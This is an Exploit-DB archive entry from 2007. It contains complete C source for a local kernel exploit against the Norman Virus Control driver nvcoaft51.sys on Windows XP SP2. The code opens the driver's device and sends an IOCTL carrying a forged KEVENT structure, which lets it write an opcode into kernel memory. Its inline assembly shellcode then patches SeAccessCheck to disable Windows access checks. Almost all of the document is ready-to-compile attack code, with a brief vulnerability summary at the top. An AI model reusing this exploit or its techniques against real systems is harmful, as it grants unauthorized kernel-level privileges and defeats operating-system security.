Norman Virus Control - 'nvcoaft51.sys' ioctl BF672028

EDB-ID:

4345

Author:

inocraM

Type:

local

Platform:

Windows

Published:

2007-08-30

/*
  Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit


  Abstract
  nvcoaft51.sys driver receive as parameter in some ioctl's
  a pointer to a KEVENT struct, calling KeSetEvent without
  any prior check. 
  The device created by the driver (NvcOa) can be opened by 
  any user.
  As result, a user can send a IOCTL with a fake KEVENT 
  struct and finish executing code at ring0

  Author
  inocraM - inocram[at]48bits[dot]com
  48bits I+D team
  www.48bits.com

  OS
  Tested against Windows XP SP2 (spanish) with a PAE kernel.
  
  For educational purposes ONLY

*/

#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>

#define XPLT_KEVENT_IOCTL             0xbf672028 


/* PSAPI */
typedef BOOL  (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded);
typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize);

typedef struct _PS
{
  HMODULE hLib;
  ENUM_DEVICE_DRIVERS pEnumDeviceDrivers;
  GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName;
}PS, *PPS;


VOID
psUnload(PPS pps)
{
  if(pps)
  {
    if(pps->hLib)
    {
      FreeLibrary(pps->hLib);
    }
    free(pps);
  }
}

PPS
psLoad()
{
  PPS pps;

  pps = (PPS) malloc(sizeof(PS));
  if(pps)
  {
    pps->hLib = LoadLibraryA("psapi");
    if(pps->hLib)
    {
      pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers");
      pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA");
      if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName)
      {
        psUnload(pps);
        pps = NULL;
      }
    }
    else
    {
      free(pps);
      pps = NULL;
    }
  }
  return pps;
}


BOOL  
psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded)
{
  return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded);
}

DWORD 
psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize)
{
  return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize);
}

LPVOID
psGetImageBaseByBaseName(PPS pps, LPCSTR szName)
{
  DWORD dwSize = 0;
  LPVOID *pDevices = NULL;
  LPVOID pResult = NULL;

  if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0))
  {
    pDevices = (LPVOID*)malloc(dwSize);
    if(pDevices)
    {
      if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize))
      {
        DWORD i = 0;
        DWORD dwNumberOfDrivers;

        dwNumberOfDrivers = dwSize / sizeof(LPVOID);
        while((i < dwNumberOfDrivers) && (NULL == pResult))
        {
          char szBaseName[MAX_PATH];

          if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName)))
          {
            if(!_stricmp(szBaseName,szName))
            {
              pResult = pDevices[i];
            }
          }
          i++;
        }
      }
      free(pDevices);
    }
  }
  return pResult;
}

/* OS detection */
#define OS_VERSION_UNKNOWN      0x00000000
#define OS_VERSION_NT           0x00010000
#define OS_VERSION_9X           0x00020000
#define OS_VERSION_WIN32S       0x00030000
#define OS_VERSION_NT4          OS_VERSION_NT + 0x00001000
#define OS_VERSION_2K           OS_VERSION_NT + 0x00002000
#define OS_VERSION_XP           OS_VERSION_NT + 0x00003000
#define OS_VERSION_2K3          OS_VERSION_NT + 0x00004000
#define OS_VERSION_VISTA        OS_VERSION_NT + 0x00005000
#define OS_VERSION_95           OS_VERSION_9X + 0x00001000
#define OS_VERSION_98           OS_VERSION_9X + 0x00002000
#define OS_VERSION_ME           OS_VERSION_9X + 0x00003000


DWORD
GetWindows9xVersion(POSVERSIONINFOEXA posvi)
{
  DWORD dwVersion;

  if(posvi->dwMajorVersion == 4)
  {
    switch(posvi->dwMinorVersion)
    {
    case 0:
      dwVersion = OS_VERSION_95;
      break;
    case 10:
      // TODO : we need extra code. this can be Windows ME
      dwVersion = OS_VERSION_98;
      break;
    case 90:
      dwVersion = OS_VERSION_ME;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
  }
  else
  {
    dwVersion = OS_VERSION_UNKNOWN;
  }
  return dwVersion;
}


DWORD
GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack)
{
  DWORD dwVersion;

  switch(posvi->dwMajorVersion)
  {
  case 6: 
    dwVersion = OS_VERSION_VISTA;
    break;
  case 5:
    switch(posvi->dwMinorVersion)
    {
    case 2:
      dwVersion = OS_VERSION_2K3;
      break;
    case 1:
      dwVersion = OS_VERSION_XP;
      break;
    case 0:
      dwVersion = OS_VERSION_2K;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
    break;
  case 4:
  case 3:
  case 2:
  case 1:
  case 0:
    dwVersion = OS_VERSION_NT4;
    break;
  default:
    dwVersion = OS_VERSION_UNKNOWN;
  }

  // TODO : dont work correctly in various windows Versions. fix it.
  if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack))
  {
    if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize)
    {
      (*pServicePack) = posvi->wServicePackMajor;
    }
    else
    {
      // TODO : parse szCSDVersion
    }
  }
  return dwVersion;
}

// TODO : doesnt find correct SP for various windows versions, fix! 
DWORD
GetWindowsVersionBase(PUINT pServicePack)
{
  OSVERSIONINFOEXA osvi;
  DWORD dwVersion;

  if(pServicePack)
  {
    (*pServicePack) = 0;
  }
  memset(&osvi, 0, sizeof(OSVERSIONINFOEXA));
  osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
  if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi))
  {
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
    if(!GetVersionExA((LPOSVERSIONINFOA)&osvi))
    {
      return OS_VERSION_UNKNOWN;
    }
  }
  switch(osvi.dwPlatformId)
  {
  case VER_PLATFORM_WIN32_NT:
    dwVersion = GetWindowsNtVersion(&osvi, pServicePack);
    break;
  case VER_PLATFORM_WIN32_WINDOWS:
    dwVersion = GetWindows9xVersion(&osvi);
    break;
  case VER_PLATFORM_WIN32s:
    dwVersion = OS_VERSION_WIN32S;
    break;
  default:
    dwVersion = OS_VERSION_UNKNOWN;
  }
  return dwVersion;
}

DWORD
GetWindowsVersion(PUINT pServicePack)
{
  static BOOL bFirstCall = TRUE;
  static DWORD OsVersion;
  static UINT ServicePack;

  if(bFirstCall)
  {
    OsVersion = GetWindowsVersionBase(&ServicePack);
    bFirstCall = FALSE;
  }
  if(pServicePack)
  {
    (*pServicePack) = ServicePack;
  }
  return OsVersion;
}



HANDLE
OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode)
{
  return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL);
}

VOID
CloseDevice(HANDLE hDevice)
{
  CloseHandle(hDevice);
}


BOOL
xpltCheckWindowsVersion()
{
  DWORD dwOsVersion;
  BOOL bResult = FALSE;
  UINT ServicePack;

  printf("(*)Checking OS Version...\n");
  dwOsVersion = GetWindowsVersion(&ServicePack);
  if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2))
  {
    printf("(+)Detected Windows XP SP2.\n");
    bResult = TRUE;
  }
  else
  {
    printf("(-)This exploit only runs on Windows XP SP2. Sorry.\n");
  }
  return bResult;
}

HANDLE
xpltOpenNvc0a()
{
  HANDLE hDevice;

  printf("(*)Opening NvcOa device...\n");
  hDevice = OpenDevice("\\\\.\\NvcOa", GENERIC_READ + GENERIC_WRITE, 0);
  if(INVALID_HANDLE_VALUE != hDevice)
  {
    printf("(+)Successfully opened NvcOa.\n");
  }
  else
  {
    printf("(-)Unable to open NvcOa. Sorry.\n");
  }
  return hDevice;
}

VOID
xpltCloseNvc0a(HANDLE hDevice)
{
  CloseDevice(hDevice);
  printf("(+)NvcOa device closed.\n");
}

PPS
xpltInitializePsApi()
{
  PPS pps;
  printf("(*)Loading PSAPI...\n");
  pps = psLoad();
  if(NULL != pps)
  {
    printf("(+)PSAPI loaded OK.\n");
  }
  else
  {
    printf("(-)Unable to load PSAPI. Sorry.\n");
  }
  return pps;
}

VOID
xpltFreePsApi(PPS pps)
{
  psUnload(pps);
  printf("(+)PSAPI Unloaded.\n");
}


LPBYTE
xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel)
{
  LPBYTE pKernelBase;

  printf("(*)Looking for NTOSKRNL base...\n");
  (*pbPaeKernel) = FALSE;
  pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE");
  if(pKernelBase)
  {
    printf("(+)NTOSKRNL base found at %#x.\n",pKernelBase);
  }
  else
  {
    pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE");
    if(pKernelBase)
    {
      printf("(+)NTOSKRNL(PAE) base found at %#x.\n",pKernelBase);
      if(pbPaeKernel)
      {
        (*pbPaeKernel) = TRUE;
      }
    }
    else
    {
      printf("(-)Unable to find NTOSKRNL base. Sorry.\n");
    }
  }
  return pKernelBase;
}


/* 
   when the ioctl with a fake event structure is sent
   a dword with the opcode "jmp[ecx]" is written and
   this code is reached.
   Be careful writing your own shellcode. Remember that
   u are at DPC level
*/
__declspec(naked)
void 
xpltPatchAndGo (void)
{
  __asm
  {
    add esp,4
    pop esi                                   /* get a return addr to use as reference */ 
    mov dword ptr[esi-0x60], 0x8B047289       /* patch the jmp[ecx] with the correct code */
    mov word ptr[esi+0xE5303], 0x9090         /* patch SeAccessCheck :o) */
    mov esp, ebp                              /* reconstruct the stack */
    add esp, 0x10       
    xor bl, bl                                /* set IRQL value */
    xor edi, edi                              /* set return value */                       
    sub esi, 0x759F                            
    push esi                                  /* set retun address... */
    ret                                       /* and go */
  }

}

VOID
xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel)
{

#ifdef _DEBUG
  DebugBreak();
#endif

  if(!bPaeKernel)
  {
    printf("(-)This exploit is only runs on a PAE kernel system. Sorry.\n");
  }
  else
  {
    DWORD dwReturnedBytes;
    DWORD Buffer[1024];                             /* user buffer size is not checked         */
                                                    /* properly so i use a big enough  buffer  */
                                                    /* and i  dont worry abaut it              */

    DWORD Event[31];                                /* our event struct                        */

    printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln...\n");
    printf("(*)Writing fake event struct...\n");

    *(BYTE*)Event = 1;                              /* set event type as Synchronization Event */

    Event[2] = (DWORD)&(Event[3]);                  /* set event wait list as not empty so in  */
                                                    /* event[3] start the first  wait block    */

    Event[3] = (DWORD)&(Event[4]);                  /* set first element of the wait list      */
                                                    /* event[4]  will be our wait block        */

    ((WORD*)Event)[17] = 1;                         /* set the wait block type to WaitAny      */

    Event[5] = (DWORD)&(Event[7]);                  /* set the trhead for the wait block, so   */
                                                    /* event[7] will be our thread start       */

    Event[7] = (DWORD)xpltPatchAndGo;               /* i put the shellcode addr on the first   */
                                                    /* dword of the thread. This value is not  */
                                                    /* checked by KeSetEvent related code, and */
                                                    /* the event struct will remain referenced */
                                                    /* by ecx,so writing a jmp[ecx] the        */
                                                    /* shellocde will be reached               */


    Event[30] = (DWORD)&(Event[10]);                /* fill thread wait block list with data   */
                                                    /* so in event[10] start this wait block.  */
                                                    /* First two dwords of the kwait block     */
                                                    /* struct are a list entry. system will    */
                                                    /* try to remove a item from this double   */
                                                    /* linked list, and as consecuence, we     */
                                                    /* can write an arbitrary dword at any     */
                                                    /* address                                 */


    Event[10] = 0x000021FF;                         /* first entry will be a opcode, jmp[ecx]  */

    Event[11] = (DWORD)(pNtosBase + 0x291B4);       /* second entry will be the address of th  */
                                                    /* next opcode addr, and as result we will */
                                                    /* jmp to our shellcode                    */


    Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer   */
                                                    /* and explit it :o)                       */

    printf("(*)Sending IOCTL...\n");
    DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL);
    printf("(+)IOCT sent. SeAccessCheck is now patched???\n");
  }
}


VOID
xpltExecute()
{
  if(xpltCheckWindowsVersion())
  {
    PPS pps;

    pps = xpltInitializePsApi();
    if(NULL != pps)
    {
      LPBYTE pKernelBase;
      BOOL bPaeKernel;

      pKernelBase = xpltGetKernelBase(pps,&bPaeKernel);
      if(NULL != pKernelBase)
      {
        HANDLE hDevice;

        hDevice = xpltOpenNvc0a();
        if(INVALID_HANDLE_VALUE != hDevice)
        {
          xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel);
          xpltCloseNvc0a(hDevice);
        }
      }
      xpltFreePsApi(pps);
    }
  }
}

int main(int argc, char * argv[])
{
  UNREFERENCED_PARAMETER(argc);
  UNREFERENCED_PARAMETER(argv);

#ifdef _DEBUG
  DebugBreak();
#endif

  xpltExecute();
  return 0;
}

// milw0rm.com [2007-08-30]